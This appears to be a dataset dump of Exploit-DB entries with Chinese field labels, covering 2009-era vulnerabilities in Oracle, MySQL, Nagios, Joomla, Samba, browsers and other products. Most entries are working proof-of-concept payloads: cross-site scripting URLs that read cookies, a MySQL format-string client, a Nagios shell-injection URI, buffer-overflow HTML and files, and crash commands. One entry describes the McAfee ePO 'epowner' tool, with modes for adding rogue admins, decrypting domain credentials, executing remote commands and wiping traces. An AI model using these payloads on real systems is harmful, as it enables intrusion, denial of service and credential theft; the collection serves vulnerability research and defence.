QLWD/code_shield huggingface dataset:
标题: HP ProCurve Threat Management Services - zl ST.1.0.090213 Module CRL Security Bypass EDB-ID: 33078 CVE: 2009-1422 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/35659/info

HP ProCurve Threat Management Services zl Module is prone to a security-bypass vulnerability.

Successful exploits may allow attackers to bypass certain security restrictions, which may aid in launching further attacks.

ProCurve Threat Management Services zl Module J9155A running vST.1.0.090213 firmware or prior is vulnerable.

1. Go to VPN-->Certificates--> CRL page and load a CRL list.
2. Save the entire configuration.
3. Reboot the TMS zl Module.
4. Once the TMS zl Module is available, go to VPN--> Certificates--> CRL page and the CRL is no longer available. URL: https://www.exploit-db.com/exploits/33078
标题: MySQL 5.0.75 - 'sql_parse.cc' Multiple Format String Vulnerabilities EDB-ID: 33077 CVE: 2009-2446 类型: DOS 平台: LINUX 发布日期: 2009-06-08 漏洞利用脚本: // source: https://www.securityfocus.com/bid/35609/info

MySQL is prone to multiple format-string vulnerabilities.

Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application. Failed attacks will likely cause denial-of-service conditions.

MySQL 4.0.0 through 5.0.75 are vulnerable; other versions may also be affected. 

#include <stdlib.h>
#include <stdio.h>

#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>

#define NullS           (char *) 0

int
main (int argc, char **argv)
{
  MYSQL *mysql = NULL;

  mysql = mysql_init (mysql);

  if (!mysql)
    {
      puts ("Init faild, out of memory?");
      return EXIT_FAILURE;
    }

  if (!mysql_real_connect (mysql,       /* MYSQL structure to use */
                           "localhost", /* server hostname or IP address */
                           "monty",      /* mysql user */
                           "montypython",  /* password */
                           NULL,      /* default database to use, NULL for none */
                           0,   /* port number, 0 for default */
                           NULL,        /* socket file or named pipe name */
                           CLIENT_FOUND_ROWS /* connection flags */ ))
    {
      puts ("Connect failed\n");
    }
  else
    {
      puts ("Connect OK\n");
//      mysql_create_db(mysql, "%s%s%s%s%s");
        simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);

    }

  mysql_close (mysql);

  return EXIT_SUCCESS;
} URL: https://www.exploit-db.com/exploits/33077
标题: Oracle WebLogic Server 10.3 - 'console-help.portal' Cross-Site Scripting EDB-ID: 33079 CVE: 2009-1975 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/35673/info

Oracle WebLogic Server is prone to a cross-site scripting vulnerability. An attacker with 'WLS Console Package' privileges can exploit this issue.

The attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This vulnerability affects Oracle WebLogic Server 10.3. 

http://www.example.com:7011/consolehelp/console-help.portal?_nfpb=true&_pageLabel=ConsoleHelpSearchPage&searchQuery="><script>alert('DSECRG')</script> URL: https://www.exploit-db.com/exploits/33079
标题: Oracle 9i/10g Database - TNS Command Remote Denial of Service EDB-ID: 33083 CVE: 2009-1970 类型: DOS 平台: MULTIPLE 发布日期: 2009-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/35683/info

Oracle Database is prone to a remote vulnerability affecting the 'Listener' component.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

The attacker can exploit this issue to crash the affected application, denying service to legitimate users.

The following are vulnerable:

Oracle9i 9.2.0.8 and 9.2.0.8DV
Oracle10g 10.1.0.5 and 10.2.0.4
Oracle11g 11.1.0.7

Other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33083.zip URL: https://www.exploit-db.com/exploits/33083
标题: Oracle 10g Secure Enterprise Search - 'search_p_groups' Cross-Site Scripting EDB-ID: 33082 CVE: 2009-1968 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/35681/info

Oracle Database is prone to a cross-site scripting vulnerability that affects the Secure Enterprise Search component.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com:7777/search/query/search?search.timezone=&search_p_groups="&#039;><IMG%20SRC=javascript:alert(document.cookie)>&q=1234&btnSearch=Search URL: https://www.exploit-db.com/exploits/33082
标题: Oracle 11.1 - Database Network Foundation Heap Memory Corruption EDB-ID: 33080 CVE: 2009-1963 类型: DOS 平台: MULTIPLE 发布日期: 2009-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/35677/info

Oracle Database is prone to a remote heap memory-corruption vulnerability in Network Foundation.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

Successfully exploiting this issue will allow the attacker to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33080.zip URL: https://www.exploit-db.com/exploits/33080
标题: Oracle 9i/10g Database - Network Foundation Remote Overflow EDB-ID: 33084 CVE: 2009-1020 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/35684/info

Oracle Database is prone to a remote vulnerability in Network Foundation.

The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability.

The following supported versions are affected:

9.2.0.8
9.2.0.8DV
10.1.0.5
10.2.0.4
11.1.0.7 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33084.zip URL: https://www.exploit-db.com/exploits/33084
标题: Apple Safari 4 - 'reload()' Denial of Service EDB-ID: 33062 CVE: 2009-2419 类型: DOS 平台: WINDOWS 发布日期: 2009-06-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/35555/info

Apple Safari is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
Given the nature of this issue, the attacker may also be able to run arbitrary code, but this has not been confirmed.

Safari 4.0 and 4.0.1 are vulnerable; other versions may also be affected.

<html> <body> <script src="empty.js"></script> <script> try { crashSafari(); } catch(e) { setTimeout("location.reload();",42); prompt('apple culpa? comment:'); } </script> </body> </html> URL: https://www.exploit-db.com/exploits/33062
标题: McAfee ePolicy Orchestrator 4.6.0 < 4.6.5 - 'ePowner' Multiple Vulnerabilities EDB-ID: 33071 CVE: 2013-0140 类型: REMOTE 平台: WINDOWS 发布日期: 2014-04-28 漏洞利用脚本: # Exploit Title: McAfee ePolicy Orchestrator 4.6.0-4.6.5 (ePowner) - Multiple vulnerabilities
# Date: 20 November 2012
# Exploit Author: st3n@funoverip.net (a.k.a. jerome.nokin@gmail.com)
# Vendor Homepage: http://www.mcafee.com/uk/products/epolicy-orchestrator.aspx
# Version: 4.6.0 -> 4.6.5
# Tested on: Windows 2003/2008
# CVE : CVE-2013-0140 , CVE-2013-0141
# More info on: http://funoverip.net/?p=1685 & https://github.com/funoverip/epowner

PoC: 
v0.2.1- https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33071-2.tar.gz (epowner-0.2.1.zip)

=====================================================================================================
 INTRODUCTION
=====================================================================================================

- In short, this tool registers a rogue agent on the ePo server and then takes advantage of the 
  following vulnerabilities to perform multiple actions :

 - CVE-2013-0140 : Pre-auth SQL Injection
 - CVE-2013-0141 : Pre-auth Directory Path Traversal

- The tool manages the following actions, called "mode" :

     -r, --register          Register a new agent on the ePo server (it's free)
     --check                 Check the SQL Injection vunerability
     --add-admin             Add a new web admin account into the DB
     --readdb                Retrieve various information from the database
     --get-install-path      Retrieve the installation path of ePo software (needed for other modes)
     --ad-creds              Retrieve and decrypt cached domain credentials from ePo database.
     --wipe                  Wipe our traces from the database and file system
     --srv-exec              Perform remote command execution on the ePo server
     --srv-upload            Upload files on the ePo server
     --cli-deploy            Deploy commands or softwares on clients


- It is strongly advised to read the manual which explains how to use these modes (see below). 
  But basically, your two first actions must be :

 1) Register a rogue agent using '--register'

 2) Setup Remote Code execution using '--srv-exec --wizard'
    

- Usage examples are provided at the end of this file. It is recommended to read the doc before
  any of usage of them.

- You may find a vulnerable version of the ePo software on my blog. Deploy 2 VMs (eposrv + epocli) and
  test it !

- The tool was developed/tested on Backtrack 5r3, Kali Linux 1.0.6 and Ubuntu 12.04. 
  It won't work under Windows due to linux tools dependencies.
  . ePolicy Orchestrator was running on Win2003 and Win2003 R2
  . The managed station were running on WinXPsp3 and Win7 URL: https://www.exploit-db.com/exploits/33071
标题: Google Chrome 0.3.154 - 'JavaScript:' URI in 'Refresh' Header Cross-Site Scripting EDB-ID: 33064 CVE: 2009-2352 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35572/info


Google Chrome is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Chrome 1.0.154.48 is vulnerable; other versions may also be affected.

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie) URL: https://www.exploit-db.com/exploits/33064
标题: Microsoft Internet Explorer 6 - 'JavaScript:' URI in 'Refresh' Header Cross-Site Scripting EDB-ID: 33063 CVE: 2009-2350 类型: REMOTE 平台: WINDOWS 发布日期: 2009-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/35570/info

Microsoft Internet Explorer is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the context of the user running the application and to steal cookie-based authentication credentials and other sensitive data that may aid in further attacks.

Internet Explorer 6 is vulnerable; other versions may also be affected.

With request to script at web site:

http://www.example.com/script.php?param=javascript:alert(document.cookie)

Which returns in answer the refresh header:

refresh: 0; URL=javascript:alert(document.cookie) URL: https://www.exploit-db.com/exploits/33063
标题: Horde 3.1 - 'Passwd' Module Cross-Site Scripting EDB-ID: 33065 CVE: 2009-2360 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/35573/info

The Horde 'Passwd' module is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to Horde 'Passwd' 3.1.1 are vulnerable. 

http://www.example.com/horde/passwd/main.php?backend="><script>alert('XSS')</script>&userid=stevejobs&return_to=&oldpassword=foo&newpassword0=foo&newpassword1=foo&submit=Change%20Password URL: https://www.exploit-db.com/exploits/33065
标题: ClanSphere 2009 - 'text' Cross-Site Scripting EDB-ID: 33068 CVE: 2009-2438 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/35605/info

ClanSphere is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ClanSphere 2009.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?mod=search&action=list&text="'><script>alert('xss')</script>&where=0&submit=Suchen URL: https://www.exploit-db.com/exploits/33068
标题: Winds3D Viewer 3 - 'GetURL()' Arbitrary File Download EDB-ID: 33067 CVE: 2009-2386 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/35595/info

Winds3D Viewer is prone to a vulnerability that can allow malicious files to be downloaded an executed within the context of the affected browser that uses the plugin.

Successfully exploiting this issue will allow attackers to compromise the affected application that uses the plugin.

Winds3D Viewer 3.5.0.0 and 3.5.0.5 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33067.usr URL: https://www.exploit-db.com/exploits/33067
标题: Joomla! 1.5.x - Cross-Site Scripting / Information Disclosure EDB-ID: 33061 CVE: 2011-4909 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/35544/info

Joomla! is prone to multiple cross-site scripting and information-disclosure vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.

These issues affect versions prior to 1.5.12.

/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site='localhost'; $path='/joomla-1.5.11'; $cookname='d85558a8cf943386aaa374896bfd3d99'; $cookvalue='4ab56fdd83bcad86289726aead602699'; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss='alert("PWN PWN PWN: " + document.cookie);'; function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') { $this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; $this->headers[] = 'Connection: Keep-Alive'; $this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8'; $this->headers[] = 'Referer: ">get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form'); /* let's execute some javascript.. }:-)*/ echo $c; ?> URL: https://www.exploit-db.com/exploits/33061
标题: Avax Vector 1.3 - 'avPreview.ocx' ActiveX Control Buffer Overflow EDB-ID: 33066 CVE: 2009-2377 类型: REMOTE 平台: WINDOWS 发布日期: 2009-06-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/35583/info

Avax Vector is prone to a remote buffer-overflow vulnerability.

Attackers can exploit this issue to execute arbitrary code within the context of an application that uses the ActiveX control (typically Internet Explorer). Failed exploit attempts will result in a denial-of-service condition.

Avax Vector ActiveX 1.3 is vulnerable; other versions may also be affected. 

<html>
<object classid='clsid:9589AEC9-1C2D-4428-B7E8-63B39D356F9C' id='CCRP' ></object>
<script language='vbscript'>

argCount   = 1

arg1=String(10260, "A")

target.PrinterName = arg1

</script>

<script language='javascript'>
 document.location.reload()
</script> URL: https://www.exploit-db.com/exploits/33066
标题: Cisco ASA Appliance 8.x - WebVPN DOM Wrapper Cross-Site Scripting EDB-ID: 33055 CVE: 2009-1201 类型: REMOTE 平台: HARDWARE 发布日期: 2009-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/35476/info

Cisco ASA (Adaptive Security Appliance) is prone to a cross-site scripting vulnerability because its Web VPN fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

This issue is documented by Cisco Bug ID CSCsy80694.

Cisco ASA 8.0.(4), 8.1.2, and 8.2.1 are vulnerable. 

<html><script> function a(b, c) { return "alert('Your VPN location:\\n\\n'+" + "document.location+'\\n\\n\\n\\n\\n" + "Your VPN cookie:\\n\\n'+document.cookie);"; } CSCO_WebVPN['process'] = a; csco_wrap_js(''); </script></html> URL: https://www.exploit-db.com/exploits/33055
标题: Nagios 3.0.6 - 'statuswml.cgi' Arbitrary Shell Command Injection EDB-ID: 33051 CVE: 2009-2288 类型: REMOTE 平台: CGI 发布日期: 2009-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/35464/info

Nagios is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application.

NOTE: For an exploit to succeed, access to the WAP interface's ping feature must be allowed.

Versions prior to Nagios 3.1.1 are vulnerable. 

The following example URI is available:

https://www.example.com/nagios/cgi-bin/statuswml.cgi?ping=173.45.235.65%3Becho+%24PATH URL: https://www.exploit-db.com/exploits/33051
标题: BSD (Multiple Distributions) - 'gdtoa/misc.c' Memory Corruption EDB-ID: 33058 CVE: 2009-0689 类型: DOS 平台: MULTIPLE 发布日期: 2009-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/35510/info

Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

The following are vulnerable:

OpenBSD 4.5
NetBSD 5.0
FreeBSD 6.4 and 7.2

Other software based on the BSD code base may also be affected. 

The following proof-of-concept shell commands are available:

printf %1.262159f 1.1
printf %11.2109999999f
printf %11.2009999999f
printf %11.2009999999f

The following proof-of-concept Perl script is available:

#!/usr/local/bin/perl
printf "%0.4194310f", 0x0.0x41414141;

The following proof-of-concept J program is available:

cxib=0.<?php echo str_repeat("1",296450); ?> URL: https://www.exploit-db.com/exploits/33058
标题: BaoFeng Storm 3.9.62 - '.Playlist' File Buffer Overflow (PoC) EDB-ID: 33059 CVE: 2009-2617 类型: DOS 平台: WINDOWS 发布日期: 2009-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/35512/info

BaoFeng Storm is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Storm 3.09.62 is vulnerable; other versions may also be affected. 

<playlist><item name="2.GIF" source="C:\Documents and
Settings\Linlin\����\2.GIF" duration="0"/><item name="0001.gif"
source="C:\Documents and
Settings\Linlin\����\rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhgggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawwwwwwwwwwwwwjjjjjjjjjjjjjjjjjpppppppppppppppptttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy.gif"
duration="0"/></playlist> URL: https://www.exploit-db.com/exploits/33059
标题: Aardvark Topsites PHP 5.2 - 'index.php' Cross-Site Scripting EDB-ID: 33057 CVE: 2009-2302 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/35506/info

Aardvark Topsites PHP is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.

Aardvark Topsites PHP 5.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?a=search&q=psstt+securityÃ¢~@~]><a+href%3Dhttp%3A%2F%2Fwebsec.id3as.com>Web-Application-Security URL: https://www.exploit-db.com/exploits/33057
标题: Samba 3.3.5 - Format String / Security Bypass EDB-ID: 33053 CVE: 2009-1886 类型: REMOTE 平台: LINUX 发布日期: 2009-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/35472/info

Samba is prone to multiple vulnerabilities.

Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application or to bypass certain security restrictions.

Samba 3.0.31 through 3.3.5 are affected.

The following proof of concept is available:

smb: \> put aa%3Fbb URL: https://www.exploit-db.com/exploits/33053
标题: WebKit - 'parent/top' Cross Domain Scripting EDB-ID: 33047 CVE: 2009-1724 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/35441/info

WebKit is prone to a cross-domain scripting vulnerability.

A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or launch spoofing attacks against other sites. Other attacks are also possible. 

<iframe src="http://www.example.com/safari/safari2.html" onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe> URL: https://www.exploit-db.com/exploits/33047
标题: Apple iPhone 2.2.1 - Call Approval Dialog Security Bypass (2) EDB-ID: 33045 CVE: 2009-0961 类型: REMOTE 平台: HARDWARE 发布日期: 2009-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/35425/info
 
Apple iPhone is prone to a security-bypass vulnerability that may cause a call to be placed automatically.
 
Successfully exploiting this issue may allow attackers to bypass the Mail's call-approval dialog and place a call automatically from a vulnerable device.
 
NOTE: This issue was previously covered in BID 35414 (Apple iPhone and iPod touch Prior to Version 3.0 Multiple Vulnerabilities), but has been assigned its own record to better document it.
 
<html> <head> <title>iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner</title> <meta http-equiv="refresh" content="0; URL=http://maps.google.de/maps?q=rheinstrasse+75+darmstadt"> </head> <body> <script lang=javascript> function a() { document.write("<iframe src=\"tel:+12345\" WIDTH=50 HEIGHT=10></iframe>"); } setTimeout("a()", 100); </script> </body> </html> URL: https://www.exploit-db.com/exploits/33045